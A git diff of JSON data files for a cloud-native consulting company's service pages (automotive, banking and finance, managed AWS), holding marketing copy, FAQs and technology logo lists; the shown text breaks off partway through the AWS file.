+ "description": "Practical workshops on Kubernetes, CI/CD, observability, and DevSecOps for automotive teams." + }, + { + "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", + "title": "CNCF Silver Member", + "description": "A CNCF Silver Member and a regular sponsor of KubeCon + CloudNativeCon." + }, + { + "icon": "fa fa-users", + "title": "Scalable Team Extension", + "description": "Expand engineering teams without hiring overhead using AppsCode expertise." + } + ] + }, + "faq": [ + { + "question": "What do your Cloud-Native Solutions for the Automotive Industry include?", + "answer": "Our services help automotive organizations modernize their software and IT infrastructure using cloud-native technologies. We cover connected vehicle platforms, telematics, IoT integration, microservices adoption, scalable cloud deployment, and secure application delivery." + }, + { + "question": "Which technologies and practices are used in cloud-native solutions for the automotive industry?", + "answer": "We leverage Kubernetes, Docker, microservices architecture, CI/CD pipelines, DevSecOps practices, cloud providers like AWS, Azure, and GCP, as well as observability and monitoring tools. This ensures resilient, scalable, and secure automotive applications and services." + }, + { + "question": "Can you integrate cloud-native solutions with our existing automotive systems?", + "answer": "Yes — we work with your existing vehicle software, telematics platforms, IoT systems, and manufacturing applications, modernize workloads, implement microservices patterns, and integrate cloud-native best practices while ensuring data security and compliance." + }, + { + "question": "What is the typical timeline and engagement model for cloud-native solutions in automotive?", + "answer": "Engagements typically start with a 1–2 week assessment of your infrastructure, applications, and integration needs. Implementation follows in 4–12 week phases depending on complexity. We offer fixed-scope projects, time-and-materials consulting, or long-term advisory partnerships." + }, + { + "question": "Do cloud-native solutions support multi-cloud or hybrid deployments for automotive organizations?", + "answer": "Absolutely. Our solutions are designed for multi-cloud and hybrid deployments, enabling seamless operations across AWS, Azure, GCP, and on-premises automotive infrastructure." + }, + { + "question": "How do you ensure security, compliance, and reliability in automotive applications?", + "answer": "We implement encryption, access controls, secure CI/CD pipelines, monitoring, and disaster recovery. These measures ensure automotive applications are secure, reliable, and compliant with industry standards and regulations." + }, + { + "question": "What happens after cloud-native solutions are implemented in the automotive industry?", + "answer": "After implementation, we provide ongoing support, monitoring, optimization, and knowledge transfer. Our services ensure automotive applications remain secure, scalable, and optimized for connected vehicle platforms and manufacturing systems." + }, + { + "question": "How much do cloud-native solutions for the automotive industry cost, and what are the pricing models?", + "answer": "Pricing depends on application complexity, number of systems, and ongoing support requirements. We offer fixed-scope projects, hourly consulting, and long-term retainers. Detailed proposals are provided after the assessment phase." + } + ] +} diff --git a/data/services/industries/banking_finance_cloud_native_devops_services.json b/data/services/industries/banking_finance_cloud_native_devops_services.json index 9bd220dfed..9e0856a0b2 100644 --- a/data/services/industries/banking_finance_cloud_native_devops_services.json +++ b/data/services/industries/banking_finance_cloud_native_devops_services.json @@ -1,326 +1,326 @@ -{ - "hero": { - "title": "Cloud Native Solutions for the Banking & Finance Industry", - "subtitle": "Accelerate digital transformation across FinTechs, NBFCs, and Banks with secure, compliant, and scalable cloud-native platforms.", - "cta_text": "SPEAK WITH A CLOUD-NATIVE EXPERT", - "cta_url": "https://appscode.com/contact/", - "illustration": { - "src": "/assets/images/services/banking-finance-cloud-native-devops-services.png", - "alt": "Cloud Native for Banking & Finance" - } - }, - "trusted_by": { - "title": "Trusted by Global Banking & FinTech Leaders" - }, - "title_with_small_cards": { - "title": "Why Banking Needs Cloud-Native Transformation", - "subtitle": "Modernize mission-critical financial systems with Kubernetes, microservices, and DevSecOps to stay agile, secure, and compliant.", - "areas": [ - { - "icon": "fa fa-money", - "title": "$5.72M per incident – Average data breach cost in financial services" - }, - { - "icon": "fa fa-lock", - "title": "$14.8M – Average cost of non-compliant data policies" - }, - { - "icon": "fa fa-thumbs-up", - "title": "99% believe DevOps positively impacts their organization" - }, - { - "icon": "fa fa-rocket", - "title": "49% achieve faster time-to-market after adopting DevOps" - } - ] - }, - "large_preview_cards2": { - "title": "Top Challenges in Financial Cloud Transformation", - "subtitle": "Many financial institutions hesitate to adopt modern cloud-native and microservices architectures, risking performance, scalability, and compliance gaps.", - "items": [ - { - "icon": "fa fa-rocket", - "title": "Slow Delivery and Legacy Systems", - "description": "Monolithic infrastructures hinder innovation and API integrations.", - "additional_description": "Our cloud-native migration services enable faster releases and seamless third-party integrations." - }, - { - "icon": "fa fa-shield", - "title": "Compliance & Regulatory Risks", - "description": "Adhering to GDPR, PCI-DSS, CCPA, and PSD2 is complex with outdated tech stacks.", - "additional_description": "We help banks implement secure, policy-driven DevSecOps pipelines ensuring compliance continuity." - }, - { - "icon": "fa fa-arrows-alt", - "title": "Scaling & Resilience Challenges", - "description": "Banks require 24/7 uptime and dynamic scalability during peak transactions.", - "additional_description": "Kubernetes-based cloud-native infrastructure ensures elasticity and high availability." - }, - { - "icon": "fa fa-tachometer", - "title": "Performance Bottlenecks", - "description": "Real-time banking demands speed and reliability.", - "additional_description": "Cloud-native observability tools like Prometheus and Grafana enable proactive monitoring and instant performance insights." - } - ] - }, - "service_details": { - "title": "Cloud-Native DevOps Services for Banking & Finance", - "subtitle": "Build a secure, scalable, and compliant financial ecosystem using Kubernetes, microservices, and modern DevSecOps frameworks.", - "sections": [ - { - "title": "Central Bank Digital Currency (CBDC) Infrastructure", - "description": "CBDC initiatives require scalable and secure platforms. AppsCode helps financial institutions implement cloud-native architectures for CBDC systems.", - "offerings": [ - "Design blockchain-based CBDC stacks with Kubernetes for scalability and interoperability.", - "Integrate regulatory compliance and security controls across financial workloads.", - "Simplify deployment and lifecycle management through GitOps and CI/CD pipelines." - ], - "image": "/assets/images/services/cbdc.png" - }, - { - "title": "Retail & Corporate Banking Modernization", - "description": "Transform legacy banking systems into agile, customer-focused platforms powered by microservices and cloud-native technologies.", - "offerings": [ - "Develop secure, high-performance banking applications with Kubernetes.", - "Enhance UX and digital experiences using scalable APIs and containerized services.", - "Automate deployments and ensure operational consistency with GitOps frameworks." - ], - "image": "/assets/images/services/retail-corporate-banking.png" - }, - { - "title": "Cloud-Native Digital Payments", - "description": "Securely manage millions of transactions per second with scalable, event-driven architectures.", - "offerings": [ - "Implement contactless and blockchain-based payment solutions.", - "Leverage Kubernetes auto-scaling for transaction spikes.", - "Integrate Prometheus and Grafana for observability and performance tracking." - ], - "image": "/assets/images/services/digital-payments.png" - }, - { - "title": "Analytics & Risk Intelligence", - "description": "Build intelligent analytics pipelines to detect anomalies, mitigate fraud, and optimize financial operations.", - "offerings": [ - "Deploy big-data analytics workloads on Kubernetes clusters.", - "Use PromQL and Grafana dashboards for real-time monitoring.", - "Integrate AI/ML models for fraud detection and predictive insights." - ], - "image": "/assets/images/services/analytics.png" - }, - { - "title": "FinTech & ISV Enablement", - "description": "Empower FinTech startups and ISVs to innovate faster with fully managed cloud-native environments.", - "offerings": [ - "Adopt containerized microservices architecture for agility and resilience.", - "Implement continuous delivery pipelines using GitOps and Helm.", - "Optimize cloud spending with efficient CI/CD automation." - ], - "image": "/assets/images/services/fintech-financial-isvs.png" - } - ] - }, - "industries": { - "title": "Complete Cloud-Native Journey for Financial Enterprises", - "subtitle": "From strategy and migration to managed support, AppsCode empowers your financial organization to adopt cloud-native confidently.", - "additional_text": "Our certified engineers bring expertise in Kubernetes, security, and regulatory compliance for financial-grade reliability.", - "sectors": [ - { - "icon": "fa fa-bank", - "title": "Cloud-Native Consulting & Advisory", - "description": "Design and implement cloud-native roadmaps for secure, compliant transformation." - }, - { - "icon": "fa fa-cogs", - "title": "Application Modernization", - "description": "Refactor legacy banking applications into microservices deployed via Kubernetes." - }, - { - "icon": "fa fa-users", - "title": "Team Augmentation", - "description": "Extend your engineering team with AppsCode’s World-Class Kubernetes Expertise." - }, - { - "icon": "fa fa-graduation-cap", - "title": "DevOps Coaching & Training", - "description": "Upskill teams with hands-on workshops on CI/CD, service mesh, observability, and security." - }, - { - "icon": "fa fa-briefcase", - "title": "Enterprise Managed Support", - "description": "Ensure 24/7 uptime and proactive issue resolution with our managed DevSecOps support." - }, - { - "icon": "fa fa-shield", - "title": "Regulatory Compliance & Security", - "description": "Implement Zero-Trust security, encryption, and data protection aligned with PCI-DSS, GDPR, and PSD2." - } - ] - }, - "tech_stack": { - "title": "Our Cloud-Native Tech Stack Expertise", - "subtitle": "Certified engineers with deep experience in Kubernetes, observability, and cloud security tools for banking-grade workloads.", - "technologies": [ - { - "name": "Kubernetes", - "logo": "/assets/images/technical-expertise/kubernetes.svg" - }, - { - "name": "Red Hat OpenShift", - "logo": "/assets/images/technical-expertise/openshift.svg" - }, - { - "name": "Rancher by SUSE", - "logo": "/assets/images/technical-expertise/rancher.svg" - }, - { - "name": "Amazon EKS", - "logo": "/assets/images/technical-expertise/eks.svg" - }, - { - "name": "Azure AKS", - "logo": "/assets/images/technical-expertise/aks.svg" - }, - { - "name": "Google GKE", - "logo": "/assets/images/technical-expertise/gke.svg" - }, - { - "name": "ArgoCD", - "logo": "/assets/images/technical-expertise/argocd.svg" - }, - { - "name": "FluxCD", - "logo": "/assets/images/technical-expertise/fluxcd.svg" - }, - { - "name": "Helm", - "logo": "/assets/images/technical-expertise/helm.svg" - }, - { - "name": "KubeDB", - "logo": "/assets/images/technical-expertise/kubedb.svg" - }, - { - "name": "KubeStash", - "logo": "/assets/images/technical-expertise/stash.svg" - }, - { - "name": "Voyager Gateway", - "logo": "/assets/images/technical-expertise/voyager.svg" - }, - { - "name": "OpenTelemetry", - "logo": "/assets/images/technical-expertise/opentelemetry.svg" - }, - { - "name": "Prometheus", - "logo": "/assets/images/technical-expertise/prometheus.svg" - }, - { - "name": "Thanos", - "logo": "/assets/images/technical-expertise/thanos.svg" - }, - { - "name": "Grafana", - "logo": "/assets/images/technical-expertise/grafana.svg" - }, - { - "name": "Terraform", - "logo": "/assets/images/technical-expertise/terraform.svg" - }, - { - "name": "Vault", - "logo": "/assets/images/technical-expertise/vault.svg" - }, - { - "name": "Open Policy Agent", - "logo": "/assets/images/technical-expertise/open-policy-agent.png" - }, - { - "name": "OpenFGA", - "logo": "/assets/images/technical-expertise/openfga.svg" - } - ] - }, - "final_cta": { - "title": "Ready to Adopt Cloud-Native Solutions?", - "subtitle": "Explore how AppsCode can accelerate your digital transformation journey.", - "buttons": [ - { - "text": "Talk to an Expert", - "icon": "fa fa-calendar", - "type": "outlined" - } - ] - }, - "cards": { - "title": "Why AppsCode for Cloud-Native Banking Solutions?", - "items": [ - { - "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", - "title": "Certified Kubernetes Engineers", - "description": "50+ engineers specializing in Kubernetes, containers, and cloud-native platforms—helping you build, scale, and automate with confidence" - }, - { - "icon": "fa fa-briefcase", - "title": "Deep BFSI Domain Experience", - "description": "Over 100 successful projects in finance, banking, and insurance industries." - }, - { - "icon": "fa fa-trophy", - "title": "First Mover Advantage", - "description": "US-based pioneer in Kubernetes products and services with years of field expertise." - }, - { - "icon": "fa fa-graduation-cap", - "title": "Knowledge Transfer & Training", - "description": "Enable your teams through hands-on cloud-native training programs." - }, - { - "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", - "title": "CNCF Silver Member", - "description": "A CNCF Silver Member and a regular sponsor of KubeCon + CloudNativeCon." - }, - { - "icon": "fa fa-users", - "title": "Seamless Team Expansion", - "description": "Extend your DevOps capabilities without the overhead of hiring or onboarding." - } - ] - }, - "faq": [ - { - "question": "What do your Cloud Native Solutions for the Banking & Finance Industry include?", - "answer": "Our services help banking and finance organizations modernize their IT infrastructure and applications using cloud-native technologies. We cover application modernization, microservices adoption, secure cloud deployment, compliance, scalability, and continuous delivery for financial workloads." - }, - { - "question": "Which technologies and practices are used in cloud-native solutions for banking and finance?", - "answer": "We leverage Kubernetes, Docker, microservices architecture, CI/CD pipelines, DevSecOps practices, cloud providers like AWS, Azure, GCP, and observability tools. Our approach ensures secure, resilient, and compliant financial applications in cloud environments." - }, - { - "question": "Can you integrate cloud-native solutions with our existing banking systems?", - "answer": "Yes — we work with your existing core banking, payment, and financial applications, modernize workloads, implement microservices patterns, and integrate cloud-native practices while ensuring regulatory compliance and security standards." - }, - { - "question": "What is the typical timeline and engagement model for cloud-native solutions in banking?", - "answer": "Engagements typically start with a 1–2 week assessment of your infrastructure, applications, and compliance requirements. Implementation follows in 4–12 week phases depending on scope. We offer fixed-scope projects, time-and-materials consulting, or long-term advisory partnerships." - }, - { - "question": "Do cloud-native solutions support multi-cloud or hybrid deployments for banking and finance?", - "answer": "Absolutely. Our solutions are designed for multi-cloud and hybrid deployments, ensuring secure, resilient, and compliant workloads across AWS, Azure, GCP, and on-premises financial systems." - }, - { - "question": "How do you ensure security, compliance, and reliability in financial applications?", - "answer": "We enforce encryption, access controls, DevSecOps pipelines, automated compliance checks, monitoring, and disaster recovery. These measures ensure financial applications are secure, reliable, and compliant with industry standards like PCI DSS and GDPR." - }, - { - "question": "What happens after cloud-native solutions are implemented in banking and finance?", - "answer": "After implementation, we provide ongoing support, monitoring, optimization, and knowledge transfer. Our services ensure your financial applications remain secure, scalable, and optimized for continuous business growth." - }, - { - "question": "How much do cloud-native solutions for the banking and finance industry cost, and what are the pricing models?", - "answer": "Pricing depends on infrastructure complexity, application scope, and ongoing support requirements. We offer fixed-scope projects, hourly consulting, and long-term retainers. Detailed proposals are provided after the assessment phase." - } - ] -} +{ + "hero": { + "title": "Cloud Native Solutions for the Banking & Finance Industry", + "subtitle": "Accelerate digital transformation across FinTechs, NBFCs, and Banks with secure, compliant, and scalable cloud-native platforms.", + "cta_text": "SPEAK WITH A CLOUD-NATIVE EXPERT", + "cta_url": "https://appscode.com/contact/", + "illustration": { + "src": "/assets/images/services/banking-finance-cloud-native-devops-services.png", + "alt": "Cloud Native for Banking & Finance" + } + }, + "trusted_by": { + "title": "Trusted by Global Banking & FinTech Leaders" + }, + "title_with_small_cards": { + "title": "Why Banking Needs Cloud-Native Transformation", + "subtitle": "Modernize mission-critical financial systems with Kubernetes, microservices, and DevSecOps to stay agile, secure, and compliant.", + "areas": [ + { + "icon": "fa fa-money", + "title": "$5.72M per incident – Average data breach cost in financial services" + }, + { + "icon": "fa fa-lock", + "title": "$14.8M – Average cost of non-compliant data policies" + }, + { + "icon": "fa fa-thumbs-up", + "title": "99% believe DevOps positively impacts their organization" + }, + { + "icon": "fa fa-rocket", + "title": "49% achieve faster time-to-market after adopting DevOps" + } + ] + }, + "large_preview_cards2": { + "title": "Top Challenges in Financial Cloud Transformation", + "subtitle": "Many financial institutions hesitate to adopt modern cloud-native and microservices architectures, risking performance, scalability, and compliance gaps.", + "items": [ + { + "icon": "fa fa-rocket", + "title": "Slow Delivery and Legacy Systems", + "description": "Monolithic infrastructures hinder innovation and API integrations.", + "additional_description": "Our cloud-native migration services enable faster releases and seamless third-party integrations." + }, + { + "icon": "fa fa-shield", + "title": "Compliance & Regulatory Risks", + "description": "Adhering to GDPR, PCI-DSS, CCPA, and PSD2 is complex with outdated tech stacks.", + "additional_description": "We help banks implement secure, policy-driven DevSecOps pipelines ensuring compliance continuity." + }, + { + "icon": "fa fa-arrows-alt", + "title": "Scaling & Resilience Challenges", + "description": "Banks require 24/7 uptime and dynamic scalability during peak transactions.", + "additional_description": "Kubernetes-based cloud-native infrastructure ensures elasticity and high availability." + }, + { + "icon": "fa fa-tachometer", + "title": "Performance Bottlenecks", + "description": "Real-time banking demands speed and reliability.", + "additional_description": "Cloud-native observability tools like Prometheus and Grafana enable proactive monitoring and instant performance insights." + } + ] + }, + "service_details": { + "title": "Cloud-Native DevOps Services for Banking & Finance", + "subtitle": "Build a secure, scalable, and compliant financial ecosystem using Kubernetes, microservices, and modern DevSecOps frameworks.", + "sections": [ + { + "title": "Central Bank Digital Currency (CBDC) Infrastructure", + "description": "CBDC initiatives require scalable and secure platforms. AppsCode helps financial institutions implement cloud-native architectures for CBDC systems.", + "offerings": [ + "Design blockchain-based CBDC stacks with Kubernetes for scalability and interoperability.", + "Integrate regulatory compliance and security controls across financial workloads.", + "Simplify deployment and lifecycle management through GitOps and CI/CD pipelines." + ], + "image": "/assets/images/services/cbdc.png" + }, + { + "title": "Retail & Corporate Banking Modernization", + "description": "Transform legacy banking systems into agile, customer-focused platforms powered by microservices and cloud-native technologies.", + "offerings": [ + "Develop secure, high-performance banking applications with Kubernetes.", + "Enhance UX and digital experiences using scalable APIs and containerized services.", + "Automate deployments and ensure operational consistency with GitOps frameworks." + ], + "image": "/assets/images/services/retail-corporate-banking.png" + }, + { + "title": "Cloud-Native Digital Payments", + "description": "Securely manage millions of transactions per second with scalable, event-driven architectures.", + "offerings": [ + "Implement contactless and blockchain-based payment solutions.", + "Leverage Kubernetes auto-scaling for transaction spikes.", + "Integrate Prometheus and Grafana for observability and performance tracking." + ], + "image": "/assets/images/services/digital-payments.png" + }, + { + "title": "Analytics & Risk Intelligence", + "description": "Build intelligent analytics pipelines to detect anomalies, mitigate fraud, and optimize financial operations.", + "offerings": [ + "Deploy big-data analytics workloads on Kubernetes clusters.", + "Use PromQL and Grafana dashboards for real-time monitoring.", + "Integrate AI/ML models for fraud detection and predictive insights." + ], + "image": "/assets/images/services/analytics.png" + }, + { + "title": "FinTech & ISV Enablement", + "description": "Empower FinTech startups and ISVs to innovate faster with fully managed cloud-native environments.", + "offerings": [ + "Adopt containerized microservices architecture for agility and resilience.", + "Implement continuous delivery pipelines using GitOps and Helm.", + "Optimize cloud spending with efficient CI/CD automation." + ], + "image": "/assets/images/services/fintech-financial-isvs.png" + } + ] + }, + "industries": { + "title": "Complete Cloud-Native Journey for Financial Enterprises", + "subtitle": "From strategy and migration to managed support, AppsCode empowers your financial organization to adopt cloud-native confidently.", + "additional_text": "Our certified engineers bring expertise in Kubernetes, security, and regulatory compliance for financial-grade reliability.", + "sectors": [ + { + "icon": "fa fa-bank", + "title": "Cloud-Native Consulting & Advisory", + "description": "Design and implement cloud-native roadmaps for secure, compliant transformation." + }, + { + "icon": "fa fa-cogs", + "title": "Application Modernization", + "description": "Refactor legacy banking applications into microservices deployed via Kubernetes." + }, + { + "icon": "fa fa-users", + "title": "Team Augmentation", + "description": "Extend your engineering team with AppsCode’s World-Class Kubernetes Expertise." + }, + { + "icon": "fa fa-graduation-cap", + "title": "DevOps Coaching & Training", + "description": "Upskill teams with hands-on workshops on CI/CD, service mesh, observability, and security." + }, + { + "icon": "fa fa-briefcase", + "title": "Enterprise Managed Support", + "description": "Ensure 24/7 uptime and proactive issue resolution with our managed DevSecOps support." + }, + { + "icon": "fa fa-shield", + "title": "Regulatory Compliance & Security", + "description": "Implement Zero-Trust security, encryption, and data protection aligned with PCI-DSS, GDPR, and PSD2." + } + ] + }, + "tech_stack": { + "title": "Our Cloud-Native Tech Stack Expertise", + "subtitle": "Certified engineers with deep experience in Kubernetes, observability, and cloud security tools for banking-grade workloads.", + "technologies": [ + { + "name": "Kubernetes", + "logo": "/assets/images/technical-expertise/kubernetes.svg" + }, + { + "name": "Red Hat OpenShift", + "logo": "/assets/images/technical-expertise/openshift.svg" + }, + { + "name": "Rancher by SUSE", + "logo": "/assets/images/technical-expertise/rancher.svg" + }, + { + "name": "Amazon EKS", + "logo": "/assets/images/technical-expertise/eks.svg" + }, + { + "name": "Azure AKS", + "logo": "/assets/images/technical-expertise/aks.svg" + }, + { + "name": "Google GKE", + "logo": "/assets/images/technical-expertise/gke.svg" + }, + { + "name": "ArgoCD", + "logo": "/assets/images/technical-expertise/argocd.svg" + }, + { + "name": "FluxCD", + "logo": "/assets/images/technical-expertise/fluxcd.svg" + }, + { + "name": "Helm", + "logo": "/assets/images/technical-expertise/helm.svg" + }, + { + "name": "KubeDB", + "logo": "/assets/images/technical-expertise/kubedb.svg" + }, + { + "name": "KubeStash", + "logo": "/assets/images/technical-expertise/stash.svg" + }, + { + "name": "Voyager Gateway", + "logo": "/assets/images/technical-expertise/voyager.svg" + }, + { + "name": "OpenTelemetry", + "logo": "/assets/images/technical-expertise/opentelemetry.svg" + }, + { + "name": "Prometheus", + "logo": "/assets/images/technical-expertise/prometheus.svg" + }, + { + "name": "Thanos", + "logo": "/assets/images/technical-expertise/thanos.svg" + }, + { + "name": "Grafana", + "logo": "/assets/images/technical-expertise/grafana.svg" + }, + { + "name": "Terraform", + "logo": "/assets/images/technical-expertise/terraform.svg" + }, + { + "name": "Vault", + "logo": "/assets/images/technical-expertise/vault.svg" + }, + { + "name": "Open Policy Agent", + "logo": "/assets/images/technical-expertise/open-policy-agent.png" + }, + { + "name": "OpenFGA", + "logo": "/assets/images/technical-expertise/openfga.svg" + } + ] + }, + "final_cta": { + "title": "Ready to Adopt Cloud-Native Solutions?", + "subtitle": "Explore how AppsCode can accelerate your digital transformation journey.", + "buttons": [ + { + "text": "Talk to an Expert", + "icon": "fa fa-calendar", + "type": "outlined" + } + ] + }, + "cards": { + "title": "Why AppsCode for Cloud-Native Banking Solutions?", + "items": [ + { + "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", + "title": "Certified Kubernetes Engineers", + "description": "50+ engineers specializing in Kubernetes, containers, and cloud-native platforms—helping you build, scale, and automate with confidence" + }, + { + "icon": "fa fa-briefcase", + "title": "Deep BFSI Domain Experience", + "description": "Over 100 successful projects in finance, banking, and insurance industries." + }, + { + "icon": "fa fa-trophy", + "title": "First Mover Advantage", + "description": "US-based pioneer in Kubernetes products and services with years of field expertise." + }, + { + "icon": "fa fa-graduation-cap", + "title": "Knowledge Transfer & Training", + "description": "Enable your teams through hands-on cloud-native training programs." + }, + { + "logo": "/assets/images/services/icons8/ios-glyphs-30-certificate.png", + "title": "CNCF Silver Member", + "description": "A CNCF Silver Member and a regular sponsor of KubeCon + CloudNativeCon." + }, + { + "icon": "fa fa-users", + "title": "Seamless Team Expansion", + "description": "Extend your DevOps capabilities without the overhead of hiring or onboarding." + } + ] + }, + "faq": [ + { + "question": "What do your Cloud Native Solutions for the Banking & Finance Industry include?", + "answer": "Our services help banking and finance organizations modernize their IT infrastructure and applications using cloud-native technologies. We cover application modernization, microservices adoption, secure cloud deployment, compliance, scalability, and continuous delivery for financial workloads." + }, + { + "question": "Which technologies and practices are used in cloud-native solutions for banking and finance?", + "answer": "We leverage Kubernetes, Docker, microservices architecture, CI/CD pipelines, DevSecOps practices, cloud providers like AWS, Azure, GCP, and observability tools. Our approach ensures secure, resilient, and compliant financial applications in cloud environments." + }, + { + "question": "Can you integrate cloud-native solutions with our existing banking systems?", + "answer": "Yes — we work with your existing core banking, payment, and financial applications, modernize workloads, implement microservices patterns, and integrate cloud-native practices while ensuring regulatory compliance and security standards." + }, + { + "question": "What is the typical timeline and engagement model for cloud-native solutions in banking?", + "answer": "Engagements typically start with a 1–2 week assessment of your infrastructure, applications, and compliance requirements. Implementation follows in 4–12 week phases depending on scope. We offer fixed-scope projects, time-and-materials consulting, or long-term advisory partnerships." + }, + { + "question": "Do cloud-native solutions support multi-cloud or hybrid deployments for banking and finance?", + "answer": "Absolutely. Our solutions are designed for multi-cloud and hybrid deployments, ensuring secure, resilient, and compliant workloads across AWS, Azure, GCP, and on-premises financial systems." + }, + { + "question": "How do you ensure security, compliance, and reliability in financial applications?", + "answer": "We enforce encryption, access controls, DevSecOps pipelines, automated compliance checks, monitoring, and disaster recovery. These measures ensure financial applications are secure, reliable, and compliant with industry standards like PCI DSS and GDPR." + }, + { + "question": "What happens after cloud-native solutions are implemented in banking and finance?", + "answer": "After implementation, we provide ongoing support, monitoring, optimization, and knowledge transfer. Our services ensure your financial applications remain secure, scalable, and optimized for continuous business growth." + }, + { + "question": "How much do cloud-native solutions for the banking and finance industry cost, and what are the pricing models?", + "answer": "Pricing depends on infrastructure complexity, application scope, and ongoing support requirements. We offer fixed-scope projects, hourly consulting, and long-term retainers. Detailed proposals are provided after the assessment phase." + } + ] +} diff --git a/data/services/managed_cloud/managed_aws.json b/data/services/managed_cloud/managed_aws.json index ef4a532d15..cf58c2214c 100644 --- a/data/services/managed_cloud/managed_aws.json +++ b/data/services/managed_cloud/managed_aws.json @@ -1,303 +1,303 @@ -{ - "hero": { - "title": "Managed AWS Cloud Services by Experts", - "subtitle": "AppsCode's DevOps team helps you onboard to AWS, manages your cloud accounts, and keeps your applications running — so you can focus on building your product.", - "cta_text": "Talk to a Cloud Expert", - "cta_url": "https://appscode.com/contact/", - "illustration": { - "src": "/assets/images/services/kubernetes-consulting.png", - "alt": "Managed AWS Cloud Services by AppsCode" - } - }, - "trusted_by": { - "title": "Trusted by Leading Enterprises Worldwide" - }, - "title_with_small_cards": { - "title": "Why Choose Our Managed AWS Services?", - "areas": [ - { - "icon": "fa fa-cloud-upload", - "title": "Seamless AWS Onboarding & Migration" - }, - { - "icon": "fa fa-cogs", - "title": "Infrastructure Design & Deployment" - }, - { - "icon": "fa fa-clock-o", - "title": "24/7 Monitoring & Incident Response" - }, - { - "icon": "fa fa-money", - "title": "Cost Optimization & FinOps" - }, - { - "icon": "fa fa-shield", - "title": "Security Hardening & Compliance" - }, - { - "icon": "fa fa-code-fork", - "title": "CI/CD & DevOps Automation" - }, - { - "icon": "fa fa-database", - "title": "Managed Databases & Storage" - }, - { - "icon": "fa fa-lock", - "title": "IAM, Networking & Access Control" - } - ] - }, - "service_details": { - "title": "Our Managed AWS Cloud Services", - "subtitle": "AppsCode provides end-to-end AWS management — from cloud onboarding and architecture design to 24/7 operations, cost optimization, and security. Our DevOps engineers become an extension of your team.", - "sections": [ - { - "title": "AWS Onboarding & Migration", - "description": "Whether you are moving to AWS for the first time or migrating workloads between accounts and regions, our team plans and executes the entire migration with zero downtime.", - "offerings": [ - "Assess your current infrastructure and design a cloud-ready AWS architecture.", - "Migrate VMs, databases, storage, and applications to AWS with minimal disruption.", - "Set up landing zones, multi-account strategies, and AWS Organizations." - ], - "image": "/assets/images/services/kubernetes-advisory.png" - }, - { - "title": "Infrastructure Management & Administration", - "description": "We manage your AWS infrastructure day-to-day — provisioning resources, configuring networking, managing IAM policies, and ensuring everything runs smoothly.", - "offerings": [ - "Manage EC2, ECS, EKS, RDS, S3, VPC, CloudFront, and 200+ AWS services.", - "Infrastructure as Code using Terraform, CloudFormation, and Crossplane.", - "Automated scaling, patching, and lifecycle management." - ], - "image": "/assets/images/services/kubernetes-application-development.png" - }, - { - "title": "24/7 Monitoring, Alerting & Incident Response", - "description": "Our engineers monitor your AWS environment around the clock. When issues arise, we detect, diagnose, and resolve them — often before your users notice.", - "offerings": [ - "Real-time monitoring with CloudWatch, Prometheus, Grafana, and Datadog.", - "Custom alerting rules with PagerDuty, OpsGenie, or Slack integrations.", - "Incident response with SLA-backed resolution times." - ], - "image": "/assets/images/services/kubernetes-deployment-partner.png" - }, - { - "title": "Security, Compliance & Cost Optimization", - "description": "We harden your AWS environment against threats, ensure compliance with industry standards, and continuously optimize your cloud spend.", - "offerings": [ - "Security audits, CIS benchmarks, GuardDuty, Security Hub, and WAF configuration.", - "Compliance with SOC 2, HIPAA, GDPR, PCI-DSS, and ISO 27001.", - "FinOps practices — right-sizing, Reserved Instances, Savings Plans, and cost anomaly detection." - ], - "image": "/assets/images/services/kubernetes-devsecops-compliance.png" - }, - { - "title": "DevOps Automation & Application Support", - "description": "AppsCode helps your development teams ship faster by building and maintaining CI/CD pipelines, managing containerized workloads, and automating routine operations.", - "offerings": [ - "CI/CD pipelines with GitHub Actions, GitLab CI, Jenkins, ArgoCD, and FluxCD.", - "Container orchestration with EKS, ECS, and Fargate.", - "Application performance monitoring, log aggregation, and tracing." - ], - "image": "/assets/images/services/kubernetes-enterprise-support-training.png" - } - ] - }, - "industries": { - "title": "Industry Expertise in Managed AWS", - "subtitle": "Our managed AWS services empower clients across regulated industries with secure, compliant, and cost-effective cloud operations.", - "additional_text": "We serve Fortune 500 companies, fast-growing startups, and everything in between.", - "sectors": [ - { - "icon": "fa fa-bank", - "title": "Banking & Finance", - "description": "SOC 2 and PCI-DSS compliant AWS infrastructure for secure financial operations." - }, - { - "icon": "fa fa-laptop", - "title": "Technology & SaaS", - "description": "Scalable, multi-tenant architectures with automated deployments and cost control." - }, - { - "icon": "fa fa-hospital-o", - "title": "Healthcare", - "description": "HIPAA-compliant AWS environments with encrypted storage and audit trails." - }, - { - "icon": "fa fa-shopping-cart", - "title": "E-Commerce & Retail", - "description": "High-availability architectures that handle traffic spikes during peak seasons." - }, - { - "icon": "fa fa-industry", - "title": "Manufacturing & IoT", - "description": "Edge computing, IoT data pipelines, and real-time analytics on AWS." - }, - { - "icon": "fa fa-plane", - "title": "Travel & Hospitality", - "description": "Globally distributed applications with low latency and rapid failover." - } - ] - }, - "tech_stack": { - "title": "Our AWS Technology Expertise", - "subtitle": "We use the full AWS ecosystem and cloud-native tools to deliver enterprise-grade managed cloud services.", - "technologies": [ - { - "name": "Amazon EKS", - "logo": "/assets/images/technical-expertise/eks.svg" - }, - { - "name": "Kubernetes", - "logo": "/assets/images/technical-expertise/kubernetes.svg" - }, - { - "name": "Red Hat OpenShift", - "logo": "/assets/images/technical-expertise/openshift.svg" - }, - { - "name": "Rancher by SUSE", - "logo": "/assets/images/technical-expertise/rancher.svg" - }, - { - "name": "Azure AKS", - "logo": "/assets/images/technical-expertise/aks.svg" - }, - { - "name": "Google GKE", - "logo": "/assets/images/technical-expertise/gke.svg" - }, - { - "name": "ArgoCD", - "logo": "/assets/images/technical-expertise/argocd.svg" - }, - { - "name": "FluxCD", - "logo": "/assets/images/technical-expertise/fluxcd.svg" - }, - { - "name": "Helm", - "logo": "/assets/images/technical-expertise/helm.svg" - }, - { - "name": "KubeDB", - "logo": "/assets/images/technical-expertise/kubedb.svg" - }, - { - "name": "KubeStash", - "logo": "/assets/images/technical-expertise/stash.svg" - }, - { - "name": "Voyager Gateway", - "logo": "/assets/images/technical-expertise/voyager.svg" - }, - { - "name": "OpenTelemetry", - "logo": "/assets/images/technical-expertise/opentelemetry.svg" - }, - { - "name": "Prometheus", - "logo": "/assets/images/technical-expertise/prometheus.svg" - }, - { - "name": "Thanos", - "logo": 